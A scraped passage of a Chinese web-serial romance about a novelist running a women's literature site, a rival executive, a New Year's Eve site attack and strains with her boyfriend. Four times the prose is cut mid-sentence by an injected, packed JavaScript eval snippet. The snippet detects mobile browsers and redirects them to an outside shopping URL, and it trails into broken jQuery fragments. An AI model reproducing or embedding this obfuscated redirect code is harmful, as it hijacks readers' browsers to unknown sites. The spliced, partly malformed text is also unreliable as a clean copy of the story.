“不用了!你先洗!我去热饭了! 裴凝看着他意料之外的反应,无声地笑起来。 - 从浴室出来,裴凝身上也染上和井稚如出一辙的雏菊香。 井稚给她拿了一件干净T恤,裴凝换上,迫不及待地坐在餐桌前。 吃饭的时候,裴凝忽然想起白天的八卦来。 “对了,飞雀和徐鹤淞……” 一开口,裴凝才想起不知道应该怎么形容他们的关系,停下话头,思考了半天。 “他们怎么了?” “他们……应该在接触。” “是吗,”井稚也有些惊讶,“没想到老徐终于铁树开花了。” “?”裴凝听出玄机,“鹤淞也没谈过恋爱?” “据我所知是。” 裴凝放下筷子,若有所思道:“那他可能不止开花了。” “?” 井稚没听懂。 “他俩一夜……不对,应该已经两夜情了。” 这是韩飞雀自己交代的。 井稚顿时露出和许溪听到时一样的表情。 “炮……炮友?” “也不全是,确实是在接触,只不过身体上的接触进度比较快。” 井稚不可思议地给裴凝盛着罗宋汤。 “飞雀看着也不像你这样的啊……怎么比你还开放?” “我怎么了?” 裴凝眼神纯真而不解。 “你还好意思问?谁家好人第一次见面就要接吻啊!” 井稚强烈控诉。 裴凝笑着默认,低头喝汤。 “不过飞雀确实挺出乎意料的。但仔细一想,她又好像一直是这样。” “是吗?我感觉她文文静静的,很反差啊。” 裴凝摇摇头。 “她只是话少,其实很有主意。她一个人从零建成人事行政部,我和小情人儿一点都没操心过。第一次面试就是个看起来不好惹的职场老油条,我偷听了一会儿,发现飞雀始终不卑不亢,面试完全是她主导,还能恰到好处地保持一点压迫感,被她面试过的人,即使没过,也没有一个说她不专业的。” “怪不得,那她应该和老徐很聊得来。” 裴凝捏着勺子,看向井稚,好奇道:“鹤淞是什么样的人?” “他呀……这么说吧,他家庭条件不太好,大学的时候为了拿奖学金,拼命学习、参加活动,还要挤时间兼职,很努力。大三的时候,为了实习项目,他建了青城生活这个账号,因为性格认真,在大家都随便糊弄的时候,只有他真把账号做起来了,毕业不久就自己还上了助学贷款,现在也过上了很好的生活。” 看来是个不错的人,裴凝稍微放心些。 “听起来怪好嗑的,i人事业型女主和e人上进型男主,等我吃到新瓜分享给你。” 井稚认真点头。 “不过,你能不能跟鹤淞学学?”裴凝话锋一转,“同样是母胎solo,怎么人家就能跟上节奏,我想上个床还得吵架……” 井稚立刻瞪她:“快吃吧你!” - 周一一早,裴凝差点睡过,匆匆忙忙从床上爬起来,一边穿衣服一边往浴室跑,差点被爆米花绊倒。 “别着急呀,”井稚正端着三明治从厨房出来,“慢慢来,小心摔着。” 裴凝飞速洗漱,套上毛衣就想往外奔,被井稚一把拽住。 “早餐还没吃呢。” “来不及了,不吃了。” 井稚一使劲,裴凝被迫原地立正。 “不行,忘了医生说什么了?” 裴凝只好乖乖在餐桌前坐下,想着速战速决。 “你不是老板吗,怎么也这么怕迟到?” “我得以身作则。” 可能是因为从来没有上过班,裴凝对迟到这件事格外紧张。 “放心吧,一会儿我送你,晚不了,我青城小车王的名号可不是盖的。” 果然,八点五十五分,井稚如约把裴凝送到破晓楼下。 “快上去吧,我就先走……方昀游?” 井稚正和裴凝告别,一侧脑袋,越过裴凝看到了她身后的方昀游和朱情。 裴凝闻言,回过头去。 “方总?” 裴凝眼神疑惑地看向朱情,无声询问着她什么情况。 朱情摊手,表示她也不知道。 “裴总,年底事多,顾总怕你们忙不过来,让我过来帮帮你们。刚到门口就碰到朱总,所以一起过来了。” 方昀游和善笑着,自然地站在了裴凝对面。 井稚一听,直接把车熄了火,打开车门下车。 “上楼吧。” 裴凝疑惑道:“你不是要走吗?” “我今天休息了。” 朱情偷偷拿出手机给许溪发微信: 【来电梯门口,修罗场大戏,好看爱看。】 一行四人站在电梯里沉默不语。 电梯门打开,瞪大眼睛往里瞅的许溪差点和站在最前面的方昀游撞上,尴尬地退后两步,假装惊讶道:“方总,你怎么来了?” 朱情扶额。 演技太差了。 方昀游又解释了一遍,然后便走进破晓。 井稚闷闷不乐地跟在后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001514|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,一直没说话。 “裴总,如果是无关人员,还是不要进入办公区的好。” 方昀游在办公区外停下步子,礼貌提醒。 裴凝知道他是指井稚,还没说什么,井稚就开口道:“我在会客区待着,总行吧?” 说着,他转身在公司门口的长沙发上坐下了。 裴凝蹙眉,想让井稚到她办公室去。对上井稚眼神,却看到他摇摇头,示意她不要说。 裴凝知道他是不想让自己为难,思索了下,嘱咐前台给井稚拿了几本书和一杯热水。 “走吧。” 裴凝的声线已经冷了些。 方昀游转身,依旧走在最前面。 接下来的一天,他叫了公司各个部门,轮流开会。 裴凝真不知道他是来帮忙的还是视察工作的。 终于开完最后一个部门,陪了全程的裴凝如释重负般看了看战友朱情。 朱情投以理解的眼神,同样疲惫地塌下身子,把下巴放在桌上。 “裴总,朱总,”方昀游精力丝毫不减,“我们聊一下。” 得,还要开小会。 裴凝和朱情强打精神,坐直身子。 “您说。” “公司其他部门的组建情况还不错,但是最核心的作者部进展太慢了,这样不行,年后网站运行,没有作者怎么经营?” “我们已经通过公开招募和私下联系等多种方式在促成作者签约了,但受限于公司知名度以及作者质量参差不齐的情况,肯定没办法和其他部门同步,方总放心,我们会尽快推进。” 裴凝耐心解释着。 “网站运行我们打算先以主题征文的形式签约一批优质短篇,不会影响进度的。” 朱情适时补充。 方昀游始终是看不出情绪的温和神色,看久了,裴凝都怀疑他是不是带了假面。 “困难肯定有,但这么拖着不是办法。二位有没有考虑其他方式?比如以补贴违约金的条件吸引一些其他平台的成熟作者。” 不就是挖墙脚吗? 裴凝在心里对这个不道德的提议表示鄙夷。 不过,开口时,她依旧很客气:“在项目书汇报的时候我们就说过了,对于作者的选择,原则上宁缺毋滥,我们并不是简单地签约有名作者,而是寻找志同道合的创作者,恐怕不能急于求成,还是要多方考虑,双向选择。” 方昀游不置可否。 停顿了一会儿,他大概是想起顾青山承诺的不对破晓作任何干涉,所以把后面的话略去了,只道:“征文的主题是什么,方便的话可以给我看一下吗?” 裴凝很想说不方便。 “上周五刚刚布置给宣传那边,这周就会交上方案,到时候欢迎方总和我们一起看看。” “好。” 手机震动了两下,裴凝解锁,井稚的微信弹了出来。 【到下班时间了!】 【让姓方的走!你的时间是我的了!】 裴凝下意识笑起来。 他真的乖乖在公司等了她一天,一次都没有打扰她。 “有什么开心的事吗,裴总?” 方昀游看见裴凝对着手机露出了今天第一个笑容,出声问道。 裴凝收起手机,抬头看他。 “没什么。方总,下班时间到了,不如我们明天再聊。” 早就想走的朱情暗自在桌下比了个大拇指。 方昀游显然反应了一下,才道:“好。今天辛苦了。” 走出公司的时候,裴凝看到井稚早已站在门口等她。 他瞪了跟在后面的方昀游一眼,挽过裴凝胳膊,一边走一边提高音量说道: “裴凝,你可得向我学习,绝不能压榨员工私人时间,咱不做黑心老板!” 27. Chapter 27 裴凝看着方昀游再一次召唤朱情,很是感慨地靠在许溪桌边。 “他一直是这样吗?” 许溪拿笔戳着下巴,缓缓道:“方总确实……行事风格经常被人吐槽,有点过于功利和激进。但他能力很强,做的又是公关工作,这个风格倒是让他从没有失手过。” 裴凝想着,第一次在校庆酒会见面的时候,她怎么会觉得这个人温文儒雅呢? 多年作者洞察人心的经验也失效了,他真的挺让人猜不透的。 “顾总很器重他吗?” “与其说器重,不如说顾总是善于人才资源最大化。方总能力强但不易把控,所以顾总让他挂职副总,但没有给他太多公司实权,实际上和部门主管差不多。” 裴凝弯下身子,怕别人听见,小声道:“那他甘心呀?” “肯定不甘心。公司一直有传言说方总对顾总不满呢,不是很服她。” 裴凝点点头,又直起身,眼神再次看向方昀游办公室合上的门。 “你们公司内斗我就不听了,只要别折腾我们就行。” 手机响起特别提示音。 是井稚专门给她设置的井小二叫声。 【我抢到跨年那天的livehouse票了!】 【你答应我的,不许爽约!!】 裴凝敲下回复。 【好。】 - “这几个主题都不行,太平了。” 方昀游在会上如是说道。 许溪如坐针毡。 她觉得还可以啊? “我们这次本身也是想结合新年和女性话题,做一期风格比较温暖的征文,这几个方案其实是比较契合的。” 裴凝在桌下按了按许溪的手,替她解围道。 “不行,没有宣传点,这是网站第一次公开面世,最重要的是要吸引眼球。” 方昀游语气平和,但话里话外的态度,十分坚决。 裴凝有些不服气。 “您具体说说?” 方昀游调出PPT,用激光笔指着上面的内容。 “比如这个,微光划破尘埃?特点在哪里,抓人的地方在哪里?现在这些烂俗的描述已经没有人看了,完全不行。” 裴凝起身,按下电脑上的Enter键,播放下一页。 “那如果您仔细看一下这个主题详情呢?微光,指的是每一位或平凡或不平凡的女性,尘埃,指的是女性生存环境中,司空见惯到融入呼吸的困境。这个主题的含义,是鼓励每个女性都有划破尘埃的勇气,哪怕只能透出一点点光亮,万千微光聚集起来,也能将庞大而无形的尘埃暴露在耀眼阳光下。” 方昀游静静听完裴凝的解释,没有思考,依旧回绝:“我们做的是网文,没有人愿意在快餐文化产物里听人说教。这个是现实,没办法的。” “谁说是说教了?都市言情中靠自己努力获得成功的女性,推理小说中的女侦探女警察,古代题材中靠勇气和智慧打破偏见的女将军,全都符合主题,哪个不是热题材?为什么网文就一定得无脑呢?” 裴凝握拳,撑在桌上,细眉向内皱着,上半身压身向前,直直盯着对面的人。 方昀游不再反驳她,停顿片刻后,后靠在椅子上,和缓道:“我的建议是换掉,但如果裴总和朱总一致认为这些方案可以,那我尊重二位的选择。总部不会对破晓的任何工作决定作出干涉,这是顾总的承诺,我会遵守。” 朱情拽了拽站着没动的裴凝,挡在她身前。 “我觉得这个主题就很好,微光划破尘埃,很符合我们公司的名字,小溪,就按这个准备宣传稿吧。网站运营的同事那边,我们在线上会的时候告知他们。” - 转眼便是新年夜。 破晓女性文学网站在12月31日早上八点正式上线,因为前期准备做得足,今天上班后,各个部门都有条不紊地处理着工作,几乎没有出现预料之外的情况。 如果不出意外的话,除了个别部门需要加班,大部分员工都能安心放个元旦假。 晚上十点,裴凝终于签完最后一个文件,结束了这一年的工作。 走到公司门口,井稚早已坐在沙发上等她。 他现在都快成破晓的吉祥物了。 “裴凝!” 原本还在垂头打盹的人,看到裴凝后立刻跳起来。 裴凝张开双手,软绵绵地往井稚身上倒去,被井稚稳稳接住。 “终于结束了。” 裴凝轻叹道。 “辛苦了,”井稚学着裴凝的样子,摸摸她的头,“走吧,我们去玩!” 井稚在车上放着一会儿要听的乐队的歌,美其名曰要让裴凝提前进入状态。 被规律有力的鼓点感染,裴凝渐渐找回了活力,甚至忍不住和井稚一起晃起来。 “我今天非得通宵不可。” 裴凝立下flag。 然而,人生总是怕什么,来什么。 马上就要到酒吧了,裴凝的手机不合时宜地响起。 她拿起来一看,“方昀游”三个大字明晃晃地出现在眼前。 “怎么又来?” 裴凝绝望地抬头望车顶。 井稚也瞥到了,语气不悦:“他怎么总找你?” “我也想知道。”裴凝认命地按下接听,语气一秒平静,“怎么了方总?” 方昀游的声音难得有些焦急,语速比平时快了不少。 “网站被攻击了,里面全是恶评,你得回公司看一下。” 裴凝蹙眉:“怎么会?” “不知道,事发突然,我们见面说。” 井稚看到裴凝挂断电话后凝重的表情,心里已经有了预感。 “井稚,我得回公司一趟。” 果然,又是熟悉的爽约。 井稚抿着唇,半天没有说话。 “井稚。”裴凝的音量提高了一点,“有点急。” “出什么事了吗?” “网站可能被攻击了。” 井稚再次沉默。 半分钟后,他塌下肩膀,妥协道: “我送你回去。” “不用,你靠边停吧,我打车回去。” “为什么?” 井稚不解,眼神更暗了些。 “那个乐队不是你很喜欢的吗?票那么难抢,不要因为我错过了。你去玩吧,记得给我拍视频。” 井稚听后,没有再说任何,打了转向,在路边停下。 “注意安全。” 裴凝匆匆点头,很快消失在车流里。 “可是,”井稚独自喃喃,“再喜欢的乐队,也要和你一起听,才有意义啊。” 为什么,裴凝永远都不懂呢。 - 今天跨年,路上很堵,等裴凝赶到公司的时候,几乎所有人都已经到了。 “怎么样了?” 裴凝走进会议室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014564|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐到前面的座位上,低声问着朱情。 朱情摇摇头:“难说。先开会吧。” 因为破晓的场地所限,网站服务器以及所有相关部门,暂时都设在逐日。大屏幕上,各分部负责人都已经进入会议,紧急商讨着对策。 裴凝很快掌握了情况。 网站在十点半点左右被大规模攻击,投诉链接、水军入驻双管齐下,导致现在后台及其不稳定,网站内各种发言区都被恶评霸占,其中不乏对洛漾本人的谩骂。 裴凝心想,自己也没有名气大到有如此规模的黑粉吧? “小溪,你们出几篇公关稿,看看现在还有没有能联系上的媒体。”裴凝起身,站在桌前,冷静布置着工作,“网络的同事,先关闭网站,再处理恶评、稳定链接,然后溯源,争取找到攻击方。” 她说完才想起方昀游还在旁边,象征性问了一下:“方总,这样按优先级处理,你看可以吗?” 方昀游颔首:“和我想得差不多,就这样执行吧。” “好,那就辛苦各位同事加班了,公司会尽可能补偿大家。” 裴凝回到办公室,打开电脑,在工作软件中敲下一段话。 【马上就是新的一年,希望大家都能和破晓一样,划破黑夜,获得崭新的一天。提前祝大家新年快乐。】 井小二的小狗叫声在手边响了一下。 裴凝发送完,才后知后觉地反应过来。 解锁,爆米花头像在通知栏里静静躺着。 【看楼下。】 裴凝愣了一下,急忙站起身,椅子往后一滑,差点绊倒。 她站在落地窗旁,飞快地寻找。 看到了。 写字楼下的广场中央,傻站着一个大高个,裹着厚厚的短款羽绒服,像只毛茸茸的大狗。 鼻尖耳垂脸颊都冻得红红的,却因为不知道裴凝什么时候能看到消息,而倔强地坚持举着手。 他手里是一束亮着灯的气球花。 写字楼里的公司,除了破晓,几乎都放假了,大半栋楼都灭了灯,楼下广场比起远处灯火通明的商业区,黑了许多。 井稚就这样,独自照亮了一方天地。 终于看到裴凝出现在窗户旁,井稚兴奋地挥手,然后指指手机。 下一秒,他的电话打进来。 “裴凝!” 欢快声音从听筒钻进耳朵,裴凝想象着他嘴边呼出哈气的样子。 “怎么回来了?” 可能是冷气从窗户缝里挤进来,裴凝不自觉抽了下鼻子。 “来和你一起跨年。” “那怎么不上来?” “你们肯定很忙,我不上去添乱了。” 裴凝顿了下,轻声道:“傻瓜。” “这里不让放烟花,该死,本来想再浪漫一点的。”井稚冻得原地跺脚,但手上又把气球举高了些,“我把街上会发光的气球都买来了!你看!” 裴凝笑着点点头,然后想起他看不到,赶忙出声应着:“我看到了。很好看。” 气球的五色灯光映着井稚使劲仰起的脸,距离太远,裴凝看不太清他的五官,但她知道,他一定又把嘴角咧到耳根了。 霎那间,遥远天边升腾起新年的礼花。 零点钟声敲响了。 “裴凝。” 井稚的声音从震天鞭炮声中穿过,带着微微电流声,清晰地跃入裴凝耳中。 “欢迎来到我们的新年。” 28. Chapter 28 Flag果然不能随便立。 裴凝真的在跨年夜通宵了,只不过不是在livehouse,而是在破晓。 身边也不是井稚,而是朱情、许溪、方昀游。 早上六点,网站终于完成维护,重新上线。最要紧的事情解决,其他的事便可以放一放,慢慢来。 “裴总。” 裴凝走出办公室的时候,碰到了正要找她的方昀游。 “方总,怎么了?” 裴凝以为又出了什么事,心里一紧。 “没什么,就是过来和你说声辛苦了。” 方昀游神色略显疲惫,但双瞳依旧有神。 “方总也辛苦了,还得多亏方总在,不然我们肯定会乱了阵脚。” 裴凝客套道。 “太谦虚了,裴总,你能力很强,很适合这个岗位,即使没有我,你也能做好。” 方昀游说的是真心话。 虽然他与裴凝在工作风格上多有不同,但裴凝的工作能力足以让他欣赏。她能为自己的选择据理力争,也能在出现突发状况时快速掌控大局,这已经完全超出了他对一个小说作家的期待。 “方总过誉了。” 好莫名其妙的一段夸奖啊,裴凝想。 “不会。要一起吃个早餐吗?反正已经这个时间了。” “谢谢方总,我不吃早餐。” 裴凝想都没想,直接回绝。然后她侧过身,擅自结束了对话。 “方总,早点回去休息吧。” 没迈出两步,电话响了,裴凝看到井稚的备注,眉眼弯了弯,紧绷感卸掉大半。 “这么早就醒了吗?” 裴凝接起来便问。 “没睡好。” “想我想的?” “……确实。” “乖。” 裴凝站在茶水间,用空着的右手给自己接了杯水。 “你们忙完了吗?” “差不多,估计还有半个多小时就能回去了。” “那正好,我给你们点了早餐,怕口味不一,就麦当劳和包子油条什么的都点了,应该马上就到。” 裴凝端水的动作怔了一下。 “所有人吗?” “对呀。” 停顿半天,裴凝微微垂下头。 “太麻烦你了。” “不麻烦呀。对了,一会儿到了就说是你给大家准备的,让他们挑自己喜欢的。” “这不好吧……” “哎呀,我本来就是为了你才做的。你是老板嘛,给假期熬通宵的员工买点早餐是应该的,我是怕你太忙了顾不上,才擅作主张帮你买的。” 裴凝确实没有想到这一层。她第一次带领团队,满脑子想的都是解决问题、做好工作,其他方面,她还欠缺很多。 还好有井稚。 “谢谢你,真的。” “这算什么。当老板呀,我比你有经验,要学的还多着呢。” 井稚骄傲的语气带着尾音止不住上扬。 “我现在出发去接你,一会儿你忙完了下楼就能看到我了哦。” “好,注意安全。” 刚挂电话,裴凝就听外面一阵惊呼。 出去一看,是井稚点的外卖到了,整整三大袋。 裴凝笑意渐深,走到办公区对员工道:“早餐是犒劳大家的,大家可以吃完再忙。还剩最后一点收尾工作,结束了就好好回去享受假期吧,真的辛苦各位了。” 办公室顿时响起一片欢呼声。 裴凝忙了一晚上也饿了,跟着人群走到用餐区,随便拿了个麦满分。 “井老板买的吧。” 朱情不知道什么时候凑到她身后,突然出声,吓了裴凝一跳。 “你怎么知道?” “你忙成那样,肯定想不起来。井老板还是太全面了。” 裴凝把手里的麦满分塞给她。 “猜得真对,不愧是我的小情人儿。” 裴凝一抬眼,正好和从门口路过的方昀游对视。 她想起刚刚为了搪塞他说自己不吃早餐的话,再看看手里的麦当劳,果断决定先打破尴尬。 “方总,来吃点东西?” 方昀游停在门口,没有进来。 “裴总不是不吃早餐?” “男朋友的心意嘛。” 裴凝笑得很和煦。 方昀游没有接她的话,简洁道:“裴总,朱总,我先回去了。” 朱情回过身来,小声问:“这又是什么情况?” “谁知道,”裴凝满不在乎地喝着豆浆,“咱吃饱就行了。” - 裴凝给其他人放了假,自己却是加了一整个元旦的班。 为了排查攻击源,总部经常需要和她开会,或者发送报告给她,所以她必须随时待命。 第三天的时候,顾青山终于给她带来了消息。 虽然没有实质性证据,但已经基本能确定是逐日的竞争公司在搞鬼。 这种事也没办法直接反击,只能是内部加强防守,避免再次出现这种情况。 裴凝着实松了一口气。 她甚至都已经想到是不是冬春做的了,担心是因为自己才给公司带来这样的无妄之灾。 “好,谢谢顾总。” 裴凝身子一瘫,靠在椅子上。 想了想,她给朱情发了个微信。 【小情人儿,我能不能申请休息几天?】 很快,手机响了一声。 【批准。】 裴凝麻利地收拾东西回家。 路上,裴凝收到井稚消息,他说已经做好一桌子菜,就等她回去吃了。 裴凝回了一条语音:“找个悬疑电影,边吃边看吧。” 一到家,裴凝便被扑面而来的香味勾引得直奔厨房。 她看见终于换了合适围裙的井稚,想都没想,直接从身后抱住。 “哎,小心。” 刚要端菜的井稚怕烫到裴凝,把手里的盘子放下了。 “快去洗手,电影我调好了,到客厅来吃饭。” 裴凝靠着最后的意志力,到洗手间洗了手,然后便立刻坐到茶几前,对准一块糖醋里脊发动精准攻击。 裴凝口味偏甜,井稚现在做饭已经能完全契合她的喜好了。 “好吃吗?” 井稚期待地冒着星星眼。 裴凝狠狠点头,竖起大拇指。 “太好吃了。” “嘿嘿。” 井稚特意选了个不算血腥的电影,想着适合下饭。 看到三分之一的时候,他感觉裴凝靠着自己的时间有些长,刚想问她怎么不吃饭,扭头就发现,裴凝已经阖上眼睛,均匀呼吸着,睡着了。 井稚稍稍侧过身去,伸手够着有些远的遥控器,不敢动作太大,只能手撑着地毯,一点一点地挪。 终于拿到手后,井稚关掉电视,轻轻捧起裴凝的脑袋。她呼吸突然乱了一下,井稚顿时僵住,屏息凝神地盯着她,看她又恢复平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024101|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才继续动作,终于把她抱在怀里。 裴凝睡着的时候,总是喜欢往他怀里钻。 井稚抱着熟睡的裴凝到卧室,给她盖好被子,虚掩着门,又回到客厅收拾着茶几。 一切妥当后,井稚给井小二喂了饭,嘱咐它不要吵裴凝睡觉,然后便悄悄离开了。 - 裴凝休息了两天,终于感觉找回些精力。 这两天,她哪都没去,就窝在家里和井稚看电影。 新书的前半部分她也重新整理了一下,有灵感时就写上几段,算是逐渐捡起来了。 “凶手是他吗?” 今天两人打开了井稚最喜欢的一部推理电影,但裴凝看电影的时候总是忍不住猜凶手,然后就会被井稚瞪回去。 “不许再问了!好好看!” 这部电影反转无数,尤其是结尾,有一个惊天大反转,井稚觉得裴凝肯定猜不到,所以他一直看着进度条,期待着裴凝看到反转时的反应。 越临近结尾,井稚就越紧张,呼吸都变慢了些,揽着裴凝的手渐渐收紧。 突然,画面停住了。 反应不及的井稚呆呆地看向按下遥控器的裴凝。 “我有灵感了!” 裴凝兴奋地跳起来,亲了一下井稚的脸颊。 “卡了好久的逻辑终于理顺了,我得赶紧写下来,一会儿脑子装不下了。” 裴凝跑到书房,然后又探头出来对井稚道:“你等我一下哦,我写完咱们接着看!” 井稚被风一般的裴凝搞得有些晕头转向,只能点头应着:“好,我等你。” 再回过头,电视屏幕上的进度条,停在了最后四分之一。 “马上就到了呢,”井稚小声叹气,“再看一会儿就好了。” 本以为裴凝会很快出来,但从天亮等到天黑,井稚还没有等到书房的门打开。 手机响了,井稚看了一眼,起身,活动了一下坐得有些僵硬了的四肢,走到书房门口,推开了一条缝。 “书店有事,我去一趟。” 裴凝没有回头,嘴里应着:“好,你去吧。“ 井稚停顿了几秒,轻轻合上门。 从书店忙完回家,已经是三个小时之后了。 井稚没有收到裴凝的任何联系。 他推开裴凝家的门,没有开灯的客厅里,只有电视亮着落寞的光。 走到书房,井稚才看到,裴凝已经趴在桌子上睡着了。 他静静地看了一会儿,回到客厅,将那个与他走之前一模一样的画面关上。 光亮倏的消失,只剩无边的黑暗。 也许是听到了声响,裴凝醒了,迷迷糊糊地走到客厅,打开灯,才看到井稚一动不动地站在沙发前。 “你回来啦?”裴凝走过去,开心地抱住他,然后分享着,“我刚刚写了一个特别好的剧情!” 她似乎完全没有注意到电视已经关了,也忘记了他们的电影还有结尾没有看。 井稚有些难以名状的心酸。 “怎么了?” 裴凝终于发现了井稚的沉默,抬头问道。 井稚想告诉她,自己有点失落。 这是他很想和裴凝一起看完的电影,是他很想被裴凝在乎和回应的情绪。 可她能理解吗? 裴凝大概……会觉得他很幼稚吧。 他最终还是没有开口。 电影随时都可以看,现在,先为她感到开心吧。 “恭喜你呀,洛漾小姐。” 29. Chapter 29 “凝姐,你看新闻了吗?” 裴凝一上班,许溪就拽住她附耳讲小话。 “什么新闻?” “就这个呀。” 许溪把手机打开,伸到裴凝面前。 新闻写的是一个影视公司被爆出虐待工作人员,甚至导致某个工作人员在片场受伤致残,但时间不是最近,已经是去年的事了。 裴凝刚想问这条新闻怎么了,忽然觉得那影视公司的名字有些耳熟,再定睛一看,她想起来了。 这不就是顾青山说的那个给破晓捣乱的竞争公司吗? “过去这么久了都没被爆出来,应该早就跟受害人谈好了吧,怎么突然就上新闻了?” 裴凝疑惑。 许溪一副神秘兮兮的表情,左看看右看看,确认身边没人,才面向裴凝,伸出一个手指摆在胸前,悄悄指了指走廊尽头。 裴凝顺着看过去,那方向,应该是方昀游的办公室。 “方总的手笔。” “啊?” “他们公司给咱们搞那么大破坏,把方总惹怒了。这不,直接放大招,今天他们股价都跌爆了。” “这么迅速?这也没几天呀。” 许溪举起一个大拇指:“我都说了,这方面,方总是这个。” 裴凝不置可否,又看向关着的那扇门。 “对了,朱姐刚才说找你呢。” “好,你去忙吧。” 裴凝没回自己办公室,直接进了朱情的屋。 “小情人儿,几天不见想我了?” 一进门,裴凝就把包甩在沙发上,笑眯眯朝朱情走过去。 朱情嫌弃地推开要坐在椅子扶手上的人。 “想你不至于,就是挺想让你早点回来分摊工作的。” 裴凝“啧”了一声,一点没当真,还是玩闹地靠过去。 “别闹了,你看这个。” 裴凝看向朱情打开的网页,上面是破晓网站上的一篇征文投稿。 她只看了几段,就知道朱情是什么意思了。 “熟不熟悉?” “太熟悉了。” 虽然投稿人换了笔名,但裴凝一眼就能认出来,这是楚翡的文章。 洛漾和楚翡,曾是业内的一段闲余谈资。 她们分属不同的平台,但出道时间相近,写作风格类似,都是出道即巅峰的代表人物,冥冥之中有种特别的宿命感。 洛漾的鼎盛时期,唯一能与她争个一二的,也就是楚翡了。 甚至曾经有粉丝提出想让洛漾和楚翡挑战同一个题目的命题小说,两人在从未互相商量的情况下,竟都参加了这个挑战,因此产生了两篇至今都为人津津乐道的佳作。 但可能是遵了什么王不见王的魔咒,裴凝和楚翡从来没有认识的机会,也没有主动联系过对方,就这样默契地保持了九年熟悉的陌生人关系。 现在楚翡主动给裴凝投稿,也许是打算捅破这层纸了。 “她前阵子解约的事我倒是听说了,没想到会选择我们。” 裴凝抬起身子,扬起嘴角:“后台联系一下吧,这可是位重量级。” 朱情点点头。 见裴凝直接在沙发坐下,没有离开的打算,她便随口闲聊道:“周六有事吗,去逛街?” “周六不行,”裴凝眨眨眼睛,“我妈周六到。” 闻言,朱情惊讶地抬起头:“终于回来了?” “终于回来了。” 裴凝后仰在沙发靠背上,看着天花板,长叹一口气,然后缓缓笑开。 - 周五晚上。 听说裴悯明天回来,井稚不停地在裴凝眼前转圈。 “裴凝,你说我穿什么好?毛衣有点太随意,西装衬衫有点太正式……” “第一次见面,我应该提前准备点东西吧?你也不早跟我说,明天到之前我去买来得及吗?” “裴老师喜欢什么?买吃的还是用的?要不都买吧。” “对了,几点到?我提前把工作安排好,周末店里人多。” “还有……” 裴凝看着如临大敌的人,好笑地把他拽住。 “你这么紧张干嘛?” “我,我什么都没准备啊!” “为什么要准备?” 裴凝把井稚问住了。 “我不应该准备吗?” “我的意思是,你可以准备,但没必要今天焦虑呀。”裴凝抬起手,揉了揉井稚的头发,“明天我自己去就可以。” 井稚沉默良久。 “所以,你一开始就没有打算让我一起去?” “毕竟是接我妈妈嘛,让你跑一趟太麻烦了。” 井稚焦躁的情绪很快降温,但心跳却没有慢下来。 他的手指蜷在一起,头微微垂下,眼神越过裴凝的肩膀,落在她身后的墙面上。 “怪不得,你现在才告诉我。” 裴凝料到井稚会伤心,很及时地解释着。 “井稚,我和妈妈很久没见了,明天我想和她有一个独处的时间,可以吗?” “你之前说过要带我见她的……” 井稚的声音越来越小。 “我会的呀,肯定有机会让你见偶像的,放心吧。” 井稚缓慢地将视线挪到裴凝的脸上。 她的表情自然随和,衬得怀着完全不同心思的他,更显狼狈。 他以为自己已经习惯了,这种不同步的失落感。 事实证明,他根本没有。 “裴凝,我真的那么不重要吗?” 裴凝被他突如其来的情绪顶得怔了一瞬。 过了几秒,她才回道:“为什么这么说?” “你看,直到现在,你都不能正面回答我。” 井稚忽然有些绝望,然后笑出了声。 人在无语至极的时候,原来真的会笑。 “我不知道你为什么会联想到这些乱七八糟的,我之前就和你说过了,我没有互相见家长的打算,并且我和我妈很久没见了,我想跟她好好待一会儿……” 裴凝蹙眉,语速越讲越快。 “不,这都不是重点,”井稚打断她,眼里爬上些不明显的血丝,“你说的那些,我都尊重你。” “那你在纠结什么?” “这件事对你来说,这么重要,这么开心,你早就知道了,可是你的这种情绪,从来没有想过要第一时间分享给我。” 裴凝愣住。 她脑子有些没转过来。 “你早就做好了安排,只是适当地通知我一下,徒留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044926|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 